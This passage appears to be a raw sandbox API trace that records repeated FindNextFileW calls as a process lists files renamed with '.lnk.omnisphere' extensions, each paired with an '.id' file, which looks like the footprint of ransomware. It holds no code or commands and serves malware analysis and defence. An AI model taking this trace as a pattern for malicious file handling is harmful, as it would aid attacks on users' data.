cAlternateFileName="IGALVI~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20276e57, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20276e57, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c52eef3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8c1, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="iIHMV.lnk.omnisphere", cAlternateFileName="IIHMVL~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c52eef3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c52eef3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c52eef3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="iIHMV.lnk.omnisphere.id", cAlternateFileName="IIHMVL~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f4fcfa9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f4fcfa9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c555161, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb23, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ILyt.lnk.omnisphere", cAlternateFileName="ILYTLN~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c555161, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c555161, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c555161, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ILyt.lnk.omnisphere.id", cAlternateFileName="ILYTLN~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec7eabb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ec7eabb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c57b401, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="JDQEwi6ArW.lnk.omnisphere", cAlternateFileName="JDQEWI~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c57b401, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c57b401, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c57b401, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="JDQEwi6ArW.lnk.omnisphere.id", cAlternateFileName="JDQEWI~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x215899bb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x215899bb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c5a155c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Jetw (2).lnk.omnisphere", cAlternateFileName="JETW(2~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5a155c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c5a155c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c5a155c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Jetw (2).lnk.omnisphere.id", cAlternateFileName="JETW(2~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c0b967, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x170dd2a9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c5c79da, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Jetw.lnk.omnisphere", cAlternateFileName="JETWLN~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5c79da, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c5c79da, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c5c79da, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Jetw.lnk.omnisphere.id", cAlternateFileName="JETWLN~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca0e4ea, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2214f461, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c5eda42, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x894, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="JfGRcMfkA.lnk.omnisphere", cAlternateFileName="JFGRCM~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5eda42, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c5eda42, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c5eda42, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="JfGRcMfkA.lnk.omnisphere.id", cAlternateFileName="JFGRCM~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20eaee66, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20eaee66, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c613d81, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="jqcAEx4629aPNG4Ha.lnk.omnisphere", cAlternateFileName="JQCAEX~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c613d81, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c613d81, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c613d81, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="jqcAEx4629aPNG4Ha.lnk.omnisphere.id", cAlternateFileName="JQCAEX~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2183848a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2183848a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c660197, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb42, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="jy95-IFwT0kVEQ-TLBL.lnk.omnisphere", cAlternateFileName="JY95-I~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c660197, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c660197, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c660197, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="jy95-IFwT0kVEQ-TLBL.lnk.omnisphere.id", cAlternateFileName="JY95-I~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf632f781, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x20a36918, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c686761, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="JzyJVtdcM.lnk.omnisphere", cAlternateFileName="JZYJVT~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c686761, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c686761, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c686761, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="JzyJVtdcM.lnk.omnisphere.id", cAlternateFileName="JZYJVT~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6cb8fb1, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2238b80c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c6ac68c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="K2BND0Qt1GXokGX.lnk.omnisphere", cAlternateFileName="K2BND0~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6ac68c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c6ac68c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c6ac68c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="K2BND0Qt1GXokGX.lnk.omnisphere.id", cAlternateFileName="K2BND0~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a7e0fc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22a7e0fc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c6d29bd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="K8oacaU9AHJhRKiXfHlw.lnk.omnisphere", cAlternateFileName="K8OACA~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6d29bd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c6d29bd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c6d29bd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="K8oacaU9AHJhRKiXfHlw.lnk.omnisphere.id", cAlternateFileName="K8OACA~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd256bd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dd256bd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c6f8c15, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x882, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="KEBUC5mjwXRfQmP-VL.lnk.omnisphere", cAlternateFileName="KEBUC5~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6f8c15, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c6f8c15, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c6f8c15, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="KEBUC5mjwXRfQmP-VL.lnk.omnisphere.id", cAlternateFileName="KEBUC5~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f9718fe, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f9718fe, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c71edb1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="kEt_fovMnz89GacnJ.lnk.omnisphere", cAlternateFileName="KET_FO~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c71edb1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c71edb1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c71edb1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="kEt_fovMnz89GacnJ.lnk.omnisphere.id", cAlternateFileName="KET_FO~1.ID")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22102ecd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22102ecd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c744fdb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x97d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="KhOL-vGQRdUn.lnk.omnisphere", cAlternateFileName="KHOL-V~1.OMN")) returned 1 [0128.868] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c744fdb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c744fdb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c744fdb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="KhOL-vGQRdUn.lnk.omnisphere.id", cAlternateFileName="KHOL-V~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa63de, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x230017c6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c76b168, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x742, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="KsiH.lnk.omnisphere", cAlternateFileName="KSIHLN~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c76b168, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c76b168, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c76b168, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="KsiH.lnk.omnisphere.id", cAlternateFileName="KSIHLN~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6cb8fb1, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x21753702, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c76b168, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x87c, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="kSZQxt71D.lnk.omnisphere", cAlternateFileName="KSZQXT~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c76b168, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c76b168, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c76b168, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="kSZQxt71D.lnk.omnisphere.id", cAlternateFileName="KSZQXT~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d2cb57, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22d2cb57, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c791443, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="kYulOFrPXpRI1BDR.lnk.omnisphere", cAlternateFileName="KYULOF~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c791443, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c791443, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c791443, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="kYulOFrPXpRI1BDR.lnk.omnisphere.id", cAlternateFileName="KYULOF~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f012414, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f012414, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c7b75e7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="l5P5.lnk.omnisphere", cAlternateFileName="L5P5LN~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7b75e7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c7b75e7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c7b75e7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="l5P5.lnk.omnisphere.id", cAlternateFileName="L5P5LN~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20145b05, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20145b05, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c7dd9a6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="LC8mHy4MO_lq.flv.lnk.omnisphere", cAlternateFileName="LC8MHY~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7dd9a6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c7dd9a6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c7dd9a6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="LC8mHy4MO_lq.flv.lnk.omnisphere.id", cAlternateFileName="LC8MHY~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2134d94a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2134d94a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c803b2b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="LDQAGpT0kcBEK.lnk.omnisphere", cAlternateFileName="LDQAGP~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c803b2b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c803b2b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c803b2b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="LDQAGpT0kcBEK.lnk.omnisphere.id", cAlternateFileName="LDQAGP~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21111602, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21111602, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c829df4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="liXGae7sT bG6dkDjhlr.lnk.omnisphere", cAlternateFileName="LIXGAE~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c829df4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c829df4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c829df4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="liXGae7sT bG6dkDjhlr.lnk.omnisphere.id", cAlternateFileName="LIXGAE~1.ID")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20af5328, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20af5328, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c850049, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb48, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="lPq-WpX7TI4.lnk.omnisphere", cAlternateFileName="LPQ-WP~1.OMN")) returned 1 [0128.869] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c850049, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c850049, 